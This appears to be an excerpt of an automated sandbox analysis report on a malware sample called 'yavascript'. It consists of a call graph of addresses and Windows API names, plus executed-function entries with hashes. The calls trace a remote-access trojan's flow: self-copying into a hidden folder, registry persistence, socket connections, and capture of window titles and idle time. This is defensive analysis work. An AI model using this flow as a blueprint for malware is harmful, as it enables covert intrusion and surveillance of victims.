88242->88245 88247 40c89e 32 API calls 88243->88247 88246 40c89e 32 API calls 88244->88246 88248 40be4d 88245->88248 88256 40be2a SetFileAttributesW 88245->88256 88251 40bdbd 88246->88251 88250 40bd6a 88247->88250 88249 40be95 CloseHandle 88248->88249 88253 403b40 28 API calls 88248->88253 88252 401e07 88249->88252 88255 401e18 11 API calls 88250->88255 88254 401e18 11 API calls 88251->88254 88257 40beb1 ShellExecuteW 88252->88257 88258 40be63 88253->88258 88260 40bdb1 88254->88260 88259 40bd76 88255->88259 88270 40be39 _wcslen 88256->88270 88261 40bec4 88257->88261 88262 40bece ExitProcess 88257->88262 88263 41ae08 28 API calls 88258->88263 88264 401e13 11 API calls 88259->88264 88268 401e13 11 API calls 88260->88268 88265 40bed7 2 API calls 88261->88265 88266 40be76 88263->88266 88267 40bd7f 88264->88267 88284 40bdf8 88265->88284 88636 412774 RegCreateKeyW 88266->88636 88269 40856b 28 API calls 88267->88269 88271 40bdcf 88268->88271 88272 40bd93 88269->88272 88270->88248 88273 40be4a SetFileAttributesW 88270->88273 88274 40bddb CreateDirectoryW 88271->88274 88275 4028cf 28 API calls 88272->88275 88273->88248 88278 401e07 88274->88278 88277 40bd9f 88275->88277 88281 401e18 11 API calls 88277->88281 88280 40bdeb CopyFileW 88278->88280 88280->88238 88280->88284 88283 40bda8 88281->88283 88282 401e13 11 API calls 88282->88249 88285 401e13 11 API calls 88283->88285 88284->88240 88285->88260 88287 4128c0 88286->88287 88288 406052 28 API calls 88287->88288 88289 4128d5 88288->88289 88290 401fbd 28 API calls 88289->88290 88291 4128e5 88290->88291 88292 4126d2 14 API calls 88291->88292 88293 4128ef 88292->88293 88294 401eea 11 API calls 88293->88294 88295 4128fc 88294->88295 88295->87906 88297 401f6e 88296->88297 88664 402301 88297->88664 88301 412722 88300->88301 88302 4126eb 88300->88302 88303 401eea 11 API calls 88301->88303 88305 4126fd RegSetValueExA RegCloseKey 88302->88305 88304 40dd3b 88303->88304 88304->87907 88305->88301 88307 43a600 _strftime 88306->88307 88668 43993e 88307->88668 88309 40dd54 88309->87913 88309->87915 88311 41a737 88310->88311 88312 41a69c GetLocalTime 88310->88312 88313 401eea 11 API calls 88311->88313 88314 404cbf 28 API calls 88312->88314 88315 41a73f 88313->88315 88316 41a6de 88314->88316 88317 401eea 11 API calls 88315->88317 88318 405ce6 28 API calls 88316->88318 88320 40ddaa 88317->88320 88319 41a6ea 88318->88319 88696 4027cb 88319->88696 88320->87931 88322 41a6f6 88323 405ce6 28 API calls 88322->88323 88324 41a702 88323->88324 88699 406478 76 API calls 88324->88699 88326 41a710 88327 401eea 11 API calls 88326->88327 88328 41a71c 88327->88328 88329 401eea 11 API calls 88328->88329 88330 41a725 88329->88330 88331 401eea 11 API calls 88330->88331 88332 41a72e 88331->88332 88333 401eea 11 API calls 88332->88333 88333->88311 88335 409536 _wcslen 88334->88335 88336 409541 88335->88336 88337 409558 88335->88337 88338 40c89e 32 API calls 88336->88338 88339 40c89e 32 API calls 88337->88339 88340 409549 88338->88340 88341 409560 88339->88341 88342 401e18 11 API calls 88340->88342 88343 401e18 11 API calls 88341->88343 88344 409553 88342->88344 88345 40956e 88343->88345 88347 401e13 11 API calls 88344->88347 88346 401e13 11 API calls 88345->88346 88348 409576 88346->88348 88349 4095ad 88347->88349 88350 40856b 28 API calls 88348->88350 88704 409837 88349->88704 88352 409588 88350->88352 88354 4028cf 28 API calls 88352->88354 88355 409593 88354->88355 88356 401e18 11 API calls 88355->88356 88357 40959d 88356->88357 88358 401e13 11 API calls 88357->88358 88358->88344 88360 403b40 28 API calls 88359->88360 88361 41a7f1 88360->88361 88733 403cbb 88361->88733 88363 41a7fd 88364 4028cf 28 API calls 88363->88364 88365 41a807 88364->88365 88366 401e13 11 API calls 88365->88366 88367 41a810 88366->88367 88368 401e13 11 API calls 88367->88368 88369 40dfc3 88368->88369 88369->87984 88371 40e08b 88370->88371 88372 41248f RegQueryValueExA RegCloseKey 88370->88372 88371->88012 88371->88014 88372->88371 88374 4125b0 RegQueryValueExW RegCloseKey 88373->88374 88375 4125dd 88373->88375 88374->88375 88376 403b40 28 API calls 88375->88376 88377 40e0ba 88376->88377 88377->88025 88379 412992 RegDeleteValueW 88378->88379 88380 4129a6 88378->88380 88379->88380 88381 4129a2 88379->88381 88380->88034 88381->88034 88383 40cbc5 88382->88383 88384 41246e 3 API calls 88383->88384 88385 40cbcc 88384->88385 88386 40cbeb 88385->88386 88747 401602 88385->88747 88390 413fd4 88386->88390 88388 40cbd9 88750 4127d5 RegCreateKeyA 88388->88750 88391 413feb 88390->88391 88764 41aa73 88391->88764 88393 413ff6 88394 401d64 28 API calls 88393->88394 88395 41400f 88394->88395 88396 43a5e7 _strftime 39 API calls 88395->88396 88397 41401c 88396->88397 88398 414021 Sleep 88397->88398 88399 41402e 88397->88399 88398->88399 88400 401f66 28 API calls 88399->88400 88401 41403d 88400->88401 88402 401d64 28 API calls 88401->88402 88403 41404b 88402->88403 88404 401fbd 28 API calls 88403->88404 88405 414053 88404->88405 88406 41afc3 28 API calls 88405->88406 88407 41405b 88406->88407 88768 404262 WSAStartup 88407->88768 88409 414065 88410 401d64 28 API calls 88409->88410 88411 41406e 88410->88411 88412 401d64 28 API calls 88411->88412 88457 4140ed 88411->88457 88413 414087 88412->88413 88414 401d64 28 API calls 88413->88414 88415 414098 88414->88415 88417 401d64 28 API calls 88415->88417 88416 41afc3 28 API calls 88416->88457 88418 4140a9 88417->88418 88420 401d64 28 API calls 88418->88420 88419 4085b4 28 API calls 88419->88457 88421 4140ba 88420->88421 88423 401d64 28 API calls 88421->88423 88422 4027cb 28 API calls 88422->88457 88425 4140cb 88423->88425 88424 401eef 11 API calls 88424->88457 88426 401d64 28 API calls 88425->88426 88427 4140dd 88426->88427 88911 404101 88 API calls 88427->88911 88428 401d64 28 API calls 88428->88457 88430 401f66 28 API calls 88430->88457 88432 414244 WSAGetLastError 88912 41bc76 30 API calls 88432->88912 88437 401f66 28 API calls 88438 414259 88437->88438 88438->88437 88440 41a686 79 API calls 88438->88440 88442 401eea 11 API calls 88438->88442 88444 401d64 28 API calls 88438->88444 88445 401d8c 11 API calls 88438->88445 88447 43a5e7 _strftime 39 API calls 88438->88447 88438->88457 88482 414b22 CreateThread 88438->88482 88483 401e13 11 API calls 88438->88483 88913 404c9e 28 API calls 88438->88913 88915 40a767 84 API calls 88438->88915 88916 4047eb 98 API calls 88438->88916 88440->88438 88442->88438 88443 404cbf 28 API calls 88443->88457 88444->88438 88445->88438 88446 405ce6 28 API calls 88446->88457 88448 414b80 Sleep 88447->88448 88448->88438 88449 41a686 79 API calls 88449->88457 88450 401eea 11 API calls 88450->88457 88453 4082dc 28 API calls 88453->88457 88455 401fbd 28 API calls 88455->88457 88456 41265d 3 API calls 88456->88457 88457->88416 88457->88419 88457->88422 88457->88424 88457->88428 88457->88430 88457->88432 88457->88438 88457->88443 88457->88446 88457->88449 88457->88450 88457->88453 88457->88455 88457->88456 88458 412513 31 API calls 88457->88458 88459 403b40 28 API calls 88457->88459 88464 401d64 28 API calls 88457->88464 88769 413f9a 88457->88769 88775 4041f1 88457->88775 88782 404915 88457->88782 88797 40428c connect 88457->88797 88857 41a96d 88457->88857 88860 413683 88457->88860 88863 440c51 88457->88863 88867 40cbf1 88457->88867 88873 41adee 88457->88873 88876 41aec8 88457->88876 88880 41ad46 88457->88880 88458->88457 88459->88457 88465 4144ed GetTickCount 88464->88465 88466 41ad46 28 API calls 88465->88466 88473 414507 88466->88473 88468 41ad46 28 API calls 88468->88473 88470 41aec8 28 API calls 88470->88473 88473->88468 88473->88470 88474 4027cb 28 API calls 88473->88474 88475 40275c 28 API calls 88473->88475 88476 405ce6 28 API calls 88473->88476 88478 401eea 11 API calls 88473->88478 88479 401e13 11 API calls 88473->88479 88885 41aca0 GetLastInputInfo GetTickCount 88473->88885 88886 41ac52 88473->88886 88891 40e679 GetLocaleInfoA 88473->88891 88894 4027ec 28 API calls 88473->88894 88895 4045d5 88473->88895 88914 404468 61 API calls ctype 88473->88914 88474->88473 88475->88473 88476->88473 88478->88473 88479->88473 88482->88438 89075 419e89 105 API calls 88482->89075 88483->88438 88484->87786 88485->87796 88488 4085c0 88487->88488 88489 402e78 28 API calls 88488->88489 88490 4085e4 88489->88490 88490->87817 88492 4124e1 RegQueryValueExA RegCloseKey 88491->88492 88493 41250b 88491->88493 88492->88493 88493->87813 88494->87820 88495->87849 88496->87842 88497->87833 88498->87847 88499->87927 88501 412683 RegQueryValueExA RegCloseKey 88500->88501 88502 4126a7 88500->88502 88501->88502 88502->87887 88503->87920 88504->87956 88505->87965 88506->87989 88507->87977 88508->88011 88510 401e0c 88509->88510 88511->87840 88514 40e183 88513->88514 88515 41a65c LoadResource LockResource SizeofResource 88513->88515 88514->88067 88515->88514 88517 401f86 28 API calls 88516->88517 88518 406066 88517->88518 88518->88078 88524 403c30 88519->88524 88522->88099 88523->88080 88525 403c39 88524->88525 88528 403c59 88525->88528 88529 403c68 88528->88529 88534 4032a4 88529->88534 88531 403c74 88532 402325 28 API calls 88531->88532 88533 403b73 88532->88533 88533->88099 88535 4032b0 88534->88535 88536 4032ad 88534->88536 88539 4032b6 22 API calls 88535->88539 88536->88531 88540->88103 88541->88108 88544 402e85 88542->88544 88543 402ea9 88543->88112 88544->88543 88545 402e98 88544->88545 88547 402eae 88544->88547 88549 403445 28 API calls 88545->88549 88547->88543 88550 40225b 11 API calls 88547->88550 88549->88543 88550->88543 88552 404bd0 88551->88552 88555 40245c 88552->88555 88554 404be4 88554->88115 88556 402469 88555->88556 88558 402478 88556->88558 88559 402ad3 28 API calls 88556->88559 88558->88554 88559->88558 88560->88119 88562 401e94 88561->88562 88564 41b183 88563->88564 88565 41b168 GetCurrentProcess IsWow64Process 88563->88565 88564->88129 88565->88564 88566 41b17f 88565->88566 88566->88129 88568 412541 RegQueryValueExA RegCloseKey 88567->88568 88569 412569 88567->88569 88568->88569 88570 401f66 28 API calls 88569->88570 88571 41257e 88570->88571 88571->88132 88572->88140 88574 40b02f 88573->88574 88577 40b04b 88574->88577 88576 40b045 88576->88151 88578 40b055 88577->88578 88580 40b060 88578->88580 88581 40b138 28 API calls 88578->88581 88580->88576 88581->88580 88582->88155 88583->88158 88585 403b48 88584->88585 88594 403b7a 88585->88594 88588->88168 88589->88195 88590->88194 88591->88183 88592->88187 88593->88193 88595 403b86 88594->88595 88598 403b9e 88595->88598 88597 403b5a 88597->88176 88599 403ba8 88598->88599 88601 403bb3 88599->88601 88602 403cfd 28 API calls 88599->88602 88601->88597 88602->88601 88604 408577 88603->88604 88642 402ca8 88604->88642 88606 40859b 88606->88226 88608 40bba1 88607->88608 88609 40bbdd 88607->88609 88651 40b0dd 88608->88651 88610 40bc1e 88609->88610 88612 40b0dd 28 API calls 88609->88612 88613 40bc5f 88610->88613 88616 40b0dd 28 API calls 88610->88616 88615 40bbf4 88612->88615 88613->88240 88614 40bbb3 88617 4028cf 28 API calls 88614->88617 88618 4028cf 28 API calls 88615->88618 88619 40bc35 88616->88619 88620 40bbbd 88617->88620 88623 40bbfe 88618->88623 88621 4028cf 28 API calls 88619->88621 88622 412774 14 API calls 88620->88622 88624 40bc3f 88621->88624 88625 40bbd1 88622->88625 88626 412774 14 API calls 88623->88626 88627 412774 14 API calls 88624->88627 88628 401e13 11 API calls 88625->88628 88629 40bc12 88626->88629 88630 40bc53 88627->88630 88628->88609 88631 401e13 11 API calls 88629->88631 88632 401e13 11 API calls 88630->88632 88631->88610 88632->88613 88655 402d8b 88633->88655 88635 4028dd 88635->88229 88637 4127c6 88636->88637 88640 412789 88636->88640 88638 401e13 11 API calls 88637->88638 88639 40be89 88638->88639 88639->88282 88641 4127a2 RegSetValueExW RegCloseKey 88640->88641 88641->88637 88644 402cb5 88642->88644 88643 402cd9 88643->88606 88644->88643 88645 402cc8 88644->88645 88646 402cde 88644->88646 88649 403374 28 API calls 88645->88649 88646->88643 88650 402f21 11 API calls 88646->88650 88649->88643 88650->88643 88652 40b0e9 88651->88652 88653 402ca8 28 API calls 88652->88653 88654 40b10c 88653->88654 88654->88614 88656 402d97 88655->88656 88659 4030f7 88656->88659 88658 402dab 88658->88635 88660 403101 88659->88660 88662 403115 88660->88662 88663 4036c2 28 API calls 88660->88663 88662->88658 88663->88662 88665 40230d 88664->88665 88666 402325 28 API calls 88665->88666 88667 401f80 88666->88667 88667->87900 88684 43a545 88668->88684 88670 43998b 88690 4392de 35 API calls 2 library calls 88670->88690 88671 439950 88671->88670 88672 439965 88671->88672 88675 43996a __cftoe 88671->88675 88689 445354 20 API calls _abort 88672->88689 88675->88309 88677 439997 88678 4399c6 88677->88678 88691 43a58a 39 API calls __Tolower 88677->88691 88679 439a32 88678->88679 88692 43a4f1 20 API calls 2 library calls 88678->88692 88693 43a4f1 20 API calls 2 library calls 88679->88693 88682 439af9 _strftime 88682->88675 88694 445354 20 API calls _abort 88682->88694 88685 43a54a 88684->88685 88686 43a55d 88684->88686 88695 445354 20 API calls _abort 88685->88695 88686->88671 88688 43a54f __cftoe 88688->88671 88689->88675 88690->88677 88691->88677 88692->88679 88693->88682 88694->88675 88695->88688 88700 401e9b 88696->88700 88698 4027d9 88698->88322 88699->88326 88701 401ea7 88700->88701 88702 40245c 28 API calls 88701->88702 88703 401eb9 88702->88703 88703->88698 88705 409855 88704->88705 88706 4124b7 3 API calls 88705->88706 88707 40985c 88706->88707 88708 409870 88707->88708 88709 40988a 88707->88709 88711 4095cf 88708->88711 88712 409875 88708->88712 88710 4082dc 28 API calls 88709->88710 88713 409898 88710->88713 88711->87950 88719 4082dc 88712->88719 88724 4098a5 85 API calls 88713->88724 88718 409888 88718->88711 88720 4082eb 88719->88720 88725 408431 88720->88725 88722 408309 88723 409959 29 API calls 88722->88723 88723->88718 88730 40999f 130 API calls 88723->88730 88724->88711 88731 4099b5 53 API calls 88724->88731 88732 4099a9 125 API calls 88724->88732 88726 40843d 88725->88726 88728 40845b 88726->88728 88729 402f0d 28 API calls 88726->88729 88728->88722 88729->88728 88736 403dc2 88733->88736 88735 403cc9 88735->88363 88737 403dce 88736->88737 88740 402ffd 88737->88740 88739 403de3 88739->88735 88741 40300e 88740->88741 88742 4032a4 22 API calls 88741->88742 88743 40301a 88742->88743 88745 40302e 88743->88745 88746 4035e8 28 API calls 88743->88746 88745->88739 88746->88745 88753 4395ba 88747->88753 88751 4127ed RegSetValueExA RegCloseKey 88750->88751 88752 412814 88750->88752 88751->88752 88752->88386 88756 43953b 88753->88756 88755 401608 88755->88388 88757 43954a 88756->88757 88758 43955e 88756->88758 88762 445354 20 API calls _abort 88757->88762 88761 43954f __alldvrm __cftoe 88758->88761 88763 447601 11 API calls 2 library calls 88758->88763 88761->88755 88762->88761 88763->88761 88765 41aab9 ctype ___scrt_fastfail 88764->88765 88766 401f66 28 API calls 88765->88766 88767 41ab2e 88766->88767 88767->88393 88768->88409 88770 413fb3 WSASetLastError 88769->88770 88771 413fa9 88769->88771 88770->88457 88917 413e37 29 API calls ___std_exception_copy 88771->88917 88774 413fae 88774->88770 88776 404206 socket 88775->88776 88777 4041fd 88775->88777 88779 404220 88776->88779 88780 404224 CreateEventW 88776->88780 88918 404262 WSAStartup 88777->88918 88779->88457 88780->88457 88781 404202 88781->88776 88781->88779 88783 4049b1 88782->88783 88784 40492a 88782->88784 88783->88457 88785 404933 88784->88785 88786 404987 CreateEventA CreateThread 88784->88786 88787 404942 GetLocalTime 88784->88787 88785->88786 88786->88783 88920 404b1d 88786->88920 88788 41ad46 28 API calls 88787->88788 88789 40495b 88788->88789 88919 404c9e 28 API calls 88789->88919 88791 404968 88792 401f66 28 API calls 88791->88792 88793 404977 88792->88793 88794 41a686 79 API calls 88793->88794 88795 40497c 88794->88795 88796 401eea 11 API calls 88795->88796 88796->88786 88798 4043e1 88797->88798 88799 4042b3 88797->88799 88800 404343 88798->88800 88801 4043e7 WSAGetLastError 88798->88801 88799->88800 88803 404cbf 28 API calls 88799->88803 88823 4042e8 88799->88823 88800->88457 88801->88800 88802 4043f7 88801->88802 88804 4042f7 88802->88804 88805 4043fc 88802->88805 88808 4042d4 88803->88808 88811 401f66 28 API calls 88804->88811 88929 41bc76 30 API calls 88805->88929 88807 4042f0 88807->88804 88810 404306 88807->88810 88812 401f66 28 API calls 88808->88812 88820 404315 88810->88820 88821 40434c 88810->88821 88814 404448 88811->88814 88815 4042e3 88812->88815 88813 40440b 88930 404c9e 28 API calls 88813->88930 88817 401f66 28 API calls 88814->88817 88818 41a686 79 API calls 88815->88818 88822 404457 88817->88822 88818->88823 88819 404418 88824 401f66 28 API calls 88819->88824 88827 401f66 28 API calls 88820->88827 88926 420f34 54 API calls 88821->88926 88828 41a686 79 API calls 88822->88828 88924 420151 27 API calls 88823->88924 88826 404427 88824->88826 88830 41a686 79 API calls 88826->88830 88831 404324 88827->88831 88828->88800 88829 404354 88832 404389 88829->88832 88833 404359 88829->88833 88834 40442c 88830->88834 88835 401f66 28 API calls 88831->88835 88928 4202ea 28 API calls 88832->88928 88836 401f66 28 API calls 88833->88836 88837 401eea 11 API calls 88834->88837 88838 404333 88835->88838 88840 404368 88836->88840 88837->88800 88841 41a686 79 API calls 88838->88841 88843 401f66 28 API calls 88840->88843 88844 404338 88841->88844 88842 404391 88845 4043be CreateEventW CreateEventW 88842->88845 88847 401f66 28 API calls 88842->88847 88846 404377 88843->88846 88925 41dc15 RtlDeleteCriticalSection RtlEnterCriticalSection RtlLeaveCriticalSection 88844->88925 88845->88800 88849 41a686 79 API calls 88846->88849 88848 4043a7 88847->88848 88851 401f66 28 API calls 88848->88851 88852 40437c 88849->88852 88853 4043b6 88851->88853 88927 420592 52 API calls 88852->88927 88855 41a686 79 API calls 88853->88855 88856 4043bb 88855->88856 88856->88845 88931 41a945 GlobalMemoryStatusEx 88857->88931 88859 41a982 88859->88457 88932 413646 88860->88932 88864 440c5d 88863->88864 88970 440a4d 88864->88970 88866 440c7e 88866->88457 88868 40cc0d 88867->88868 88869 41246e 3 API calls 88868->88869 88870 40cc14 88869->88870 88871 4124b7 3 API calls 88870->88871 88872 40cc2c 88870->88872 88871->88872 88872->88457 88874 401f86 28 API calls 88873->88874 88875 41ae03 88874->88875 88875->88457 88877 41aed5 88876->88877 88878 401f86 28 API calls 88877->88878 88879 41aee7 88878->88879 88879->88457 88881 440c51 20 API calls 88880->88881 88882 41ad67 88881->88882 88883 401f66 28 API calls 88882->88883 88884 41ad75 88883->88884 88884->88457 88885->88473 88887 436050 ___scrt_fastfail 88886->88887 88888 41ac71 GetForegroundWindow GetWindowTextW 88887->88888 88889 403b40 28 API calls 88888->88889 88890 41ac9b 88889->88890 88890->88473 88892 401f66 28 API calls 88891->88892 88893 40e69e 88892->88893 88893->88473 88894->88473 88908 4045ec 88895->88908 88896 43a88c ___std_exception_copy 21 API calls 88896->88908 88898 40465b 88900 404666 88898->88900 88898->88908 88899 401f86 28 API calls 88899->88908 88987 4047eb 98 API calls 88900->88987 88901 401eef 11 API calls 88901->88908 88903 40466d 88905 401eea 11 API calls 88903->88905 88904 401eea 11 API calls 88904->88908 88906 404676 88905->88906 88907 401eea 11 API calls 88906->88907 88909 40467f 88907->88909 88908->88896 88908->88898 88908->88899 88908->88901 88908->88904 88975 404688 88908->88975 88986 40455b 57 API calls 88908->88986 88909->88438 88911->88457 88912->88438 88913->88438 88914->88473 88915->88438 88916->88438 88917->88774 88918->88781 88919->88791 88923 404b29 101 API calls 88920->88923 88922 404b26 88923->88922 88924->88807 88925->88800 88926->88829 88927->88844 88928->88842 88929->88813 88930->88819 88931->88859 88935 413619 88932->88935 88936 41362e ___scrt_initialize_default_local_stdio_options 88935->88936 88939 43e2dd 88936->88939 88942 43b030 88939->88942 88943 43b070 88942->88943 88944 43b058 88942->88944 88943->88944 88946 43b078 88943->88946 88964 445354 20 API calls _abort 88944->88964 88965 4392de 35 API calls 2 library calls 88946->88965 88948 43b088 88966 43b7b6 20 API calls 2 library calls 88948->88966 88949 43b05d __cftoe 88957 433d2c 88949->88957 88952 43b100 88967 43be24 50 API calls 3 library calls 88952->88967 88953 41363c 88953->88457 88956 43b10b 88968 43b820 20 API calls _free 88956->88968 88958 433d37 IsProcessorFeaturePresent 88957->88958 88959 433d35 88957->88959 88961 4341a4 88958->88961 88959->88953 88969 434168 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 88961->88969 88963 434287 88963->88953 88964->88949 88965->88948 88966->88952 88967->88956 88968->88949 88969->88963 88971 440a64 88970->88971 88973 440a9b __cftoe 88971->88973 88974 445354 20 API calls _abort 88971->88974 88973->88866 88974->88973 88976 4046a3 88975->88976 88977 4047d8 88976->88977 88980 403b60 28 API calls 88976->88980 88981 401ebd 28 API calls 88976->88981 88982 401fbd 28 API calls 88976->88982 88984 401eef 11 API calls 88976->88984 88985 401eea 11 API calls 88976->88985 88978 401eea 11 API calls 88977->88978 88979 4047e1 88978->88979 88979->88898 88980->88976 88983 404772 CreateEventA CreateThread WaitForSingleObject CloseHandle 88981->88983 88982->88976 88983->88976 88988 414b9b 88983->88988 88984->88976 88985->88976 88986->88908 88987->88903 88989 401fbd 28 API calls 88988->88989 88990 414bbd SetEvent 88989->88990 88991 414bd2 88990->88991 88992 403b60 28 API calls 88991->88992 88993 414bec 88992->88993 88994 401fbd 28 API calls 88993->88994 88995 414bfc 88994->88995 88996 401fbd 28 API calls 88995->88996 88997 414c0e 88996->88997 88998 41afc3 28 API calls 88997->88998 88999 414c17 88998->88999 89000 4161f2 88999->89000 89001 414de3 88999->89001 89002 414c37 GetTickCount 88999->89002 89003 401d8c 11 API calls 89000->89003 89001->89000 89065 414d99 89001->89065 89005 41ad46 28 API calls 89002->89005 89004 4161fb 89003->89004 89006 401eea 11 API calls 89004->89006 89007 414c4d 89005->89007 89009 416207 89006->89009 89067 41aca0 GetLastInputInfo GetTickCount 89007->89067 89011 401eea 11 API calls 89009->89011 89013 416213 89011->89013 89012 414c54 89014 41ad46 28 API calls 89012->89014 89015 414c5f 89014->89015 89016 41ac52 30 API calls 89015->89016 89017 414c6d 89016->89017 89018 41aec8 28 API calls 89017->89018 89019 414c7b 89018->89019 89020 401d64 28 API calls 89019->89020 89021 414c89 89020->89021 89068 4027ec 28 API calls 89021->89068 89023 414c97 89069 40275c 28 API calls 89023->89069 89025 414ca6 89026 4027cb 28 API calls 89025->89026 89027 414cb5 89026->89027 89070 40275c 28 API calls 89027->89070 89029 414cc4 89030 4027cb 28 API calls 89029->89030 89031 414cd0 89030->89031 89071 40275c 28 API calls 89031->89071 89033 414cda 89072 404468 61 API calls ctype 89033->89072 89035 414ce9 89036 401eea 11 API calls 89035->89036 89037 414cf2 89036->89037 89038 401eea 11 API calls 89037->89038 89039 414cfe 89038->89039 89040 401eea 11 API calls 89039->89040 89041 414d0a 89040->89041 89042 401eea 11 API calls 89041->89042 89043 414d16 89042->89043 89044 401eea 11 API calls 89043->89044 89045 414d22 89044->89045 89046 401eea 11 API calls 89045->89046 89047 414d2e 89046->89047 89048 401e13 11 API calls 89047->89048 89049 414d3a 89048->89049 89050 401eea 11 API calls 89049->89050 89051 414d43 89050->89051 89052 401eea 11 API calls 89051->89052 89053 414d4c 89052->89053 89054 401d64 28 API calls 89053->89054 89055 414d57 89054->89055 89056 43a5e7 _strftime 39 API calls 89055->89056 89057 414d64 89056->89057 89058 414d8f 89057->89058 89059 414d69 89057->89059 89060 401d64 28 API calls 89058->89060 89061 414d82 89059->89061 89062 414d77 89059->89062 89060->89065 89064 404915 104 API calls 89061->89064 89073 4049ba 81 API calls 89062->89073 89066 414d7d 89064->89066 89065->89000 89074 404ab1 83 API calls 89065->89074 89066->89000 89067->89012 89068->89023 89069->89025 89070->89029 89071->89033 89072->89035 89073->89066 89074->89066 89095 40e56a 89076->89095 89077 4124b7 3 API calls 89077->89095 89078 40e60e 89080 4082dc 28 API calls 89078->89080 89079 4082dc 28 API calls 89079->89095 89084 40e619 89080->89084 89081 40e59c 89109 40bf04 73 API calls ___scrt_fastfail 89081->89109 89082 40e5fe Sleep 89082->89095 89083 41ae08 28 API calls 89083->89095 89086 41ae08 28 API calls 89084->89086 89087 40e625 89086->89087 89089 412774 14 API calls 89087->89089 89088 412774 14 API calls 89088->89095 89091 40e638 89089->89091 89090 401e13 11 API calls 89090->89095 89092 401e13 11 API calls 89091->89092 89094 40e644 89092->89094 89093 401f66 28 API calls 89093->89095 89096 401f66 28 API calls 89094->89096 89095->89077 89095->89078 89095->89079 89095->89081 89095->89082 89095->89083 89095->89088 89095->89090 89095->89093 89098 4126d2 14 API calls 89095->89098 89097 40e655 89096->89097 89099 4126d2 14 API calls 89097->89099 89098->89095 89100 40e668 89099->89100 89110 411699 TerminateProcess WaitForSingleObject 89100->89110 89102 40e670 ExitProcess 89111 411637 62 API calls 89107->89111 89110->89102

                                                    Executed Functions

                                                    Function 0044E1BE Relevance: 4.5, APIs: 3, Instructions: 37COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetEnvironmentStringsW.KERNEL32 ref: 0044E1C2
                                                    • _free.LIBCMT ref: 0044E1FB
                                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044E202
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 0000000F.00000002.4541869056.0000000000473000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 0000000F.00000002.4541869056.0000000000476000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_400000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: EnvironmentStrings$Free_free
                                                    • String ID:
                                                    • API String ID: 2716640707-0
                                                    • Opcode ID: 032fcb4f66621f9a486cbfb9aa35bb7b186a8ceb34f2922937091fe798fd91d5
                                                    • Instruction ID: bde093253d31ff8e435db0bb20b1dc60884eb56c9c20eb6ac573b4202a4b54cd
                                                    • Opcode Fuzzy Hash: 032fcb4f66621f9a486cbfb9aa35bb7b186a8ceb34f2922937091fe798fd91d5
                                                    • Instruction Fuzzy Hash: B8E0653714492126F211362B7C89D6F2A1DEFC2775B26013AF50596243EE688D0641EA
                                                    Function 00AB978E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00AB97B6
                                                    • Module32First.KERNEL32(00000000,00000224), ref: 00AB97D6
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00AB8000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_ab8000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateFirstModule32SnapshotToolhelp32
                                                    • String ID:
                                                    • API String ID: 3833638111-0
                                                    • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                    • Instruction ID: 218c3528e1b75634e005e099810a8f548678831f9ff553528b5689bffcd1e95f
                                                    • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                    • Instruction Fuzzy Hash: 23F06231210710ABE7203FB5A88DAEB76ECAF49724F100529F742910C1DE70EC854A61
                                                    Function 004041F1 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • socket.WS2_32(00000002,00000001,00000006), ref: 00404212
                                                      • Part of subcall function 00404262: WSAStartup.WS2_32(00000202,00000000), ref: 00404277
                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404252
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 0000000F.00000002.4541869056.0000000000473000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 0000000F.00000002.4541869056.0000000000476000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_400000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateEventStartupsocket
                                                    • String ID:
                                                    • API String ID: 1953588214-0
                                                    • Opcode ID: 854d00471859da485f7a9b00171063840124e4cdae7de36f8ad07afc2a8c10ec
                                                    • Instruction ID: 6d5c4ce7eefecebe47fda3b025552a79fd8a61a73b62065855ea20d17e135052
                                                    • Opcode Fuzzy Hash: 854d00471859da485f7a9b00171063840124e4cdae7de36f8ad07afc2a8c10ec
                                                    • Instruction Fuzzy Hash: A20171B05087809ED7358F38B8456977FE0AB15314F044DAEF1D697BA1C3B5A481CB18
                                                    Function 004260F7 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 0000000F.00000002.4541869056.0000000000473000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 0000000F.00000002.4541869056.0000000000476000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_400000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: recv
                                                    • String ID:
                                                    • API String ID: 1507349165-0
